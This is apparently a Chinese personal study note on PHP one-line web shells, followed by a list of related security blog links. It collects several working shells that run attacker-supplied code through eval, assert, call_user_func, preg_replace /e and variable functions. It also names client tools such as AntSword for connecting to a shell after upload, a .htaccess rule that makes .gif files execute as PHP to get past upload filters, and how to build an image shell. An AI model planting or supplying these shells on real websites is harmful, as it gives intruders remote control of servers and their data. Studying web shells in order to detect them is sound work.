木马学习记录

一句话木马是什么

一句话木马就是仅需要一行代码的木马,很简短且简单,木马的函数将会执行我们发送的命令

如何发送命令&发送的命令如何执行?

有三种方式:GET,POST,COOKIE,一句话木马中用_GET\[' '\] _POST[' '] $_COOKIE[' ' ]接收我们传输的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

根据前文,一句话木马大多分为两部分,一部分是可以执行代码的部分,一部分是接收数据的部分

eval函数

POST方式

<?php eval($_POST['a']);?>

其中eval函数是执行命令的函数

_POST\['a'\]就是接收数据的部分,这是一个超全局变量,后文的_GET也是一个超全局变量。其中的<?php ;?>表示是代码语言,也就是将该代码当做php代码进行解析。eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾(也就是有php代码的标识)。

<?php @eval($_POST['a']);?>

@符号: 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码。

GET方式

<?php @eval($_GET['a']);?>

与post方法类似,仅是上传参数时的方式不同。

assert函数

<?php assert(@$_POST['a']); ?>

这是直接用assert写的一句话木马的。assert与eval类似,但是也存在区别。

eval与assert区别

当遇到可变函数时eval不能执行,就可以用assert

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

比如下面这个一句话木马

复制代码
<?php $_POST['1']($_POST['2']); ?>

不能直接传入post参数:1=eval&2=xxx来进行连接

但是如果是assert函数就可以:1=assert&2=xxx

连接方式

浏览器中

前文的post方式和get方式的连接方法是在浏览器中进行传参:

post方式意思是将其中的密码用post传参的方法进行连接,这是在消息体中存放数据

get方式意思是将其中的密码用get传参的方法进行连接,这是在消息头的url路径中存放数据

这两的意思其实差不多:就是用post或者get方法接受变量,将变量里的字符当作php代码来执行。

用工具

工具有多种,比如蚁剑,中国菜刀,冰蝎,我主要用的是蚁剑

当我们上传一个文件,上传成功且知道路径就可以

进入蚁剑的主界面,然后右键,选择添加数据,编辑后显示连接成功,然后点击添加就可以访问该网站目录文件了。

绿色表示连接成功

红色表示有错误

橙色表示没错误但是未连接

一些特殊的php一句话木马

没有php标签的

这里利用script替代标签<? ?>

复制代码
<script language="php">@eval($_GET['b'])</script>

回调函数:

复制代码
<?php
@call_user_func(assert,$_POST['a']);
?>

调用call_user_func()函数,其中第一个参数是函数,第二、三个参数是函数里的参数

call_user_func函数类似于一种特别的调用函数的方法,使用方法如下:

function a($b,$c)

{

echo $b;

echo $c;

}

call_user_func('a', "111","222");

call_user_func('a', "333","444");

//显示 111 222 333 444

?>

preg_replace:

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能------可执行命令

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个"/"之间。如果我们在这个表达式的末尾加上"e",那么这个函数的第二个参数就会被当作代码执行。

复制代码
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

php变量函数:

复制代码
<?php
$a = "eval";
$a(@$_POST['a']);
?>

该例子中第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名

.htaccess文件

复制代码
<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif        
</FilesMatch>

该文件的作用就是将某文件(在上面的代码中也就是x.gif)当作php文件来解析,这样可以实现后缀名的绕过

那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错

图片马

故名思义,其本身是一个图片,但是包含了木马。最简单的写法就是自己弄一个文件大小较小的文件,然后用文本打开图片,在末尾加上一句话木马就写成了一个图片马

比如这个:

相关推荐
网安INF6 小时前
CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
java·web安全·网络安全·flink·漏洞
CatalyzeSec8 小时前
一些实用的chrome扩展0x01
安全·web安全·网络安全
黑客笔记8 小时前
攻防世界-XCTF-Web安全最佳刷题路线
大数据·安全·web安全
独行soc13 小时前
2025年渗透测试面试题总结-腾讯[实习]玄武实验室-安全工程师(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试·区块链
饮长安千年月17 小时前
JavaSec-SSTI - 模板引擎注入
java·windows·安全·web安全·网络安全·系统安全·安全架构
☞无能盖世♛逞何英雄☜19 小时前
SSRF漏洞
安全·web安全
芯盾时代1 天前
AI在网络安全领域的应用现状和实践
人工智能·安全·web安全·网络安全
安全系统学习1 天前
【网络安全】漏洞分析:阿帕奇漏洞学习
java·网络·安全·web安全·系统安全
mooyuan天天2 天前
pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)
安全·web安全·xss·pikachu靶场·xss漏洞
饮长安千年月2 天前
玄机-第六章 流量特征分析-蚂蚁爱上树
windows·计算机网络·web安全·网络安全·系统安全·安全架构